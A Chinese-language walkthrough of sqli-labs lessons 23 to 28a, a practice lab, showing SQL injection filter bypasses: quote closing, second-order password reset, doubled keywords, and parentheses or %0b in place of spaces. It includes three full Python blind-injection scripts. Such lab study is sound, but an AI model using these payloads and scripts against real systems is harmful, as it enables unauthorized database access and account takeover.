Less 23-28a
Less 23 GET - Error based - strip comments
这一关还是使用get方法进行注入,不过这次对#
、--+
这些用于注释的字符做了过滤。这样我们可以使用两个'
进行绕过,第一个'
用于闭合原代码语句中的前一个'
,后一个用来闭合源代码语句中的后一个'
。在两个单引号中间加上我们想要执行的sql语句即可。
在id参数上传入代码
id=-1' union select 1,2,3 '
发现回显的部分还是与基础部分的效果一样,也就是回显3列的查询,显示出的是第2,3列的内容。
那么,就可以正常注入了,在union select的第2或3的位置放上查询的payload
id=-1' union select 1,2,database() '
查询成功。
Less 24 POST- Second Oder Injections *Real treat* - Stored injection
这一关为二次排序注入,也叫存储型的注入,具体是将可能导致sql注入的字符先存入到数据库中,当再次调用这个而已构造的字符时,就可以实现sql注入。
在这一关中,假设我们要改掉数据库中原本的一个名为Dumb的账号的密码,我们可以先注册一个名为Dumb' --
的用户(),密码设成123(随便一个自己能记住的数)。
注册成功
查看数据库,发现输入的用户名原封不动被放了进去,没有进行过滤。
然后我们使用Dumb' --
这个账号进行登录。
登录成功,在这个页面可以更改当前帐号的密码,改一下试试。这里改成了111。
来数据库看一眼,发现我们创建的Dumb' --
账号的密码没有改,而数据库中原本的Dumb
账号的密码被改成了111。
用111这个密码尝试登陆Dumb账号
登陆成功。
看一下源码,看看为什么会这样
源码中更新数据库密码的sql语句如下所示。
UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'
当我们将用户名为Dumb' --
的账号密码改为111时,这个sql语句就变为了:
UPDATE users SET PASSWORD='111' where username='Dumb' -- ' and password='$curr_pass'
--
后面的语句就都被注释掉了,原语句中还有对当前账户原密码的检查也一同被注释掉了,这样这个语句就变成了把Dumb
账号的密码改为111。
Less 25 GET - Error based - All your OR & AND belong to us - String single quotes
这一关过滤了字符串and
和or
,不过经过尝试,这里只是对这两个字符串删除了一次,可以使用双写技巧轻易绕过。
-1' oorr 1=1 --+
剩下的流程就跟前几关相同了,这里使用union select
查询数据库名。
查询成功。
Less 25a GET - Blind Based - All your OR & AND belong to us -integer based
这一关是过滤了or和and字符的bool型盲注,与上一关相同,这两个字符串都只过滤了一遍,一样的,改一下之前用过的get方法盲注的脚本。
from lxml import html
import requests
def getCheck(url,xpath,payload):
r=requests.get(url+payload)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)
if('Your Login name' in check[0]):
return 1
else:
return 0
def database_length(url,xpath):
length=0
for i in range(1,30):
payload=" aandnd length((select database()))<%s --+"%i
check=getCheck(url,xpath,payload)
if(check):
break
else:
length+=1
print('Database length:'+str(length))
return length
def database_name(url,xpath,dbl):
dbname=''
for i in range(1,dbl+1):
for j in range(97,123):
payload=" aandnd ascii(substr((select database()),%s,%s))=%s--+"%(i,i,j)
check=getCheck(url,xpath,payload)
if(check):
# print(chr(j))
dbname+=chr(j)
print('database name:'+str(dbname))
return dbname
def database_table(url,xpath,dbname):
tablenum=0
for i in range(0,100):
payload=" aandnd length((select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'))=%s--+"%(dbname,i)
check=getCheck(url,xpath,payload)
if(check):
tablenum=i
break
dbtables=''
for i in range(1,tablenum+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,_-':
payload=" aandnd substr((select group_concat(table_name) from infoorrmation_schema.tables where table_schema='%s'),%s,1)='%s'--+"%(dbname,i,j)
check=getCheck(url,xpath,payload)
if(check):
dbtables+=j
break
return dbtables
if __name__=='__main__':
url="http://127.0.0.1/Less-25a/?id=1"
xpath="/html/body/div/font[2]/font/text()[1]"
dbl=database_length(url,xpath)
dbname=database_name(url,xpath,dbl)
dbtables=database_table(url,xpath,dbname)
print("tables:"+str(dbtables))
主要改的就是获得页面上因为表达式正确或错误而返回的页面元素的xpath
和判断其内容的方式,还有注入的sql语句中的and和or都加入双写。
运行脚本,注入成功。
Less 26 GET - Error based - All your SPACES and COMMENTS belong to us
这一关的过滤比较狠,看一眼源码,过滤了or
、and
、/*
、--
、#
、空格、斜线。
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
可能是因为我这里的环境问题,从网上找到的使用url编码代替空格或是使用%a0
代替空格的方法都无效。这里想想别的办法。
这里可以看到数据库的报错还是可以返回的,尝试报错注入。
看一眼源代码中的sql语句:
SELECT * FROM users WHERE id='$id' LIMIT 0,1
这里构造注入代码:
?id='||extractvalue(1,concat(1,database()))||'
注入到源代码中变为如下sql语句。
SELECT * FROM users WHERE id=''||extractvalue(1,concat(1,database()))||'' LIMIT 0,1
||
符号的作用是连接字符串,比如'abc'||'def'
的结果就是'abcdef'
。
这个sql语句的意思是从users
表中选取id
为输入值的表项,这里的id
则是一个空字符连接extractvalue()
函数的结果再连接一个空字符。然后必然会执行extractvalue()
函数,而这个函数在我们的精心构造下会产生报错,报错信息就会包含我们要查询的数据库名。
运行注入代码,查询成功。
因为这里不能用空格,所以后面查表名、列名等的语句这里就都用不了了,只能试试数据库自带的version()
、user()
函数等来收集一些信息了。
上网找了找资料,发现可以使用括号代替空格的作用,重新修改一下注入的sql语句
?id='||extractvalue(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))))||'
这个括号的闭合比较复杂,仔细检查闭合完整。
查询成功。
Less 26a GET - Blind Based - All your SPACES and COMMENTS belong to us- String-single quotes-Parenthesis
这一关与上一关的过滤相同,不过没有数据库错误没有返回。并且闭合的方式变为')
了。
想想办法,不用空格也能取到每一位的字符。
构造注入代码:
?id=1')aandnd(substr((database()),1,1)='s')aandnd('1'='1
前面一个')
用于闭合前面的('
,后面的('1'='1
连起来后面的')
成为一个永真式,这样这整个表达式的真假就反映了两个and中间的表达式的真假。按照这个思路改一下之前的脚本。
from lxml import html
import requests
def getCheck(url,xpath,payload):
pay=url+payload+"anandd('1'='1"
r=requests.get(pay)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)
if(len(check)>0):
return 1
else:
return 0
def database_length(url,xpath):
length=0
for i in range(1,30):
payload="aandnd(length(database())<%s)"%i
check=getCheck(url,xpath,payload)
if(check):
break
else:
length+=1
print('Database length:'+str(length))
return length
def database_name(url,xpath,dbl):
dbname=''
for i in range(1,dbl+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
payload="aandnd(substr((database()),%s,1)='%s')"%(i,j)
check=getCheck(url,xpath,payload)
if(check):
# print(chr(j))
dbname+=j
print('database name:'+str(dbname))
return dbname
def database_table(url,xpath,dbname):
tablenum=0
for i in range(0,100):
payload="aandnd(length((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')))<%s)"%(dbname,i)
check=getCheck(url,xpath,payload)
if(check):
tablenum=i
break
dbtables=''
for i in range(1,tablenum+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
payload="aandnd(substr((select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='%s')),%s,1)='%s')"%(dbname,i,j)
check=getCheck(url,xpath,payload)
if(check):
dbtables+=j
break
return dbtables
if __name__=='__main__':
url="http://127.0.0.1/Less-26a/?id=1')"
xpath="/html/body/div/font[2]/font/text()[1]"
dbl=database_length(url,xpath)
dbname=database_name(url,xpath,dbl)
dbtables=database_table(url,xpath,dbname)
print("tables:"+str(dbtables))
经过一番努力,主要是修改了注入的sql语句,使用括号代替空格的功能,就是括号太多比较繁琐,得好好检查一下,理解起来其实跟前面的没什么区别。注意information
这个单词里的or
也会被过滤掉,也需要双写绕过的。
运行脚本,注入成功。
Less 27 GET - Error Based- All your UNION & SELECT Belong to us - String - Single quote
这一关的黑名单上多了union和select,不过少了and和or。其实也没什么影响,我们使用报错注入,本来也没有使用union和select这两个字段。而且黑名单上union和select两个字段的大小写是敏感的,可以使用uNiOn
、sElect
等的形式绕过。
构造注入代码
?id='||extractvalue(1,concat(1,database()))||'
注入成功
Less 27a GET - Blind Based- All your UNION & SELECT Belong to us -Double quotes
这一关与第27关相似,过滤的形式相同,只是没有错误回显了。闭合方式改为了"
。同样的,改一下盲注的脚本。
from lxml import html
import requests
def getCheck(url,xpath,payload):
pay=url+payload+'and"1"="1'
r=requests.get(pay)
tree=html.fromstring(r.text)
check=tree.xpath(xpath)
if(len(check)>0):
return 1
else:
return 0
def database_length(url,xpath):
length=0
for i in range(1,30):
payload="and(length(database())<%s)"%i
check=getCheck(url,xpath,payload)
if(check):
break
else:
length+=1
print('Database length:'+str(length))
return length
def database_name(url,xpath,dbl):
dbname=''
for i in range(1,dbl+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
payload="and(substr((database()),%s,1)='%s')"%(i,j)
check=getCheck(url,xpath,payload)
if(check):
# print(chr(j))
dbname+=j
print('database name:'+str(dbname))
return dbname
def database_table(url,xpath,dbname):
tablenum=0
for i in range(0,100):
payload="and(length((sElect(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')))<%s)"%(dbname,i)
check=getCheck(url,xpath,payload)
if(check):
tablenum=i
break
dbtables=''
for i in range(1,tablenum+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz,_':
payload="and(substr((sElect(group_concat(table_name))from(information_schema.tables)where(table_schema='%s')),%s,1)='%s')"%(dbname,i,j)
check=getCheck(url,xpath,payload)
if(check):
dbtables+=j
break
return dbtables
if __name__=='__main__':
url='http://127.0.0.1/Less-27a/?id=1"'
xpath="/html/body/div/font[2]/font/text()[1]"
dbl=database_length(url,xpath)
dbname=database_name(url,xpath,dbl)
dbtables=database_table(url,xpath,dbname)
print("tables:"+str(dbtables))
Less 28 GET - Error Based- All your UNION & SELECT Belong to us- String -Single quote with parenthesis
经过尝试,这一关闭合的方式是')
,但是extractvalue()
、updatexml()
、floor()
函数的报错信息都没有回显了。
一顿查看资料,发现可以使用%0b
代替空格完成注入。除了%0b
外,还有%09、%0a、%0b、%0c、%0d、%20、%2e
可能能代替空格,不过只是可能可以代替,具体情况还需要逐个尝试是否可以。
有了这个知识,只需要把上面用到的注入代码中的空格换成%0b
即可。
?id=0')%0bunion%0bselect%0b1,database(),3%0bor%0b('1')=('1
注入成功
Less 28 GET - Blind Based- All your UNION & SELECT Belong to us - single quote - parenthesis
这一关与上一关没有区别,注入语句相同。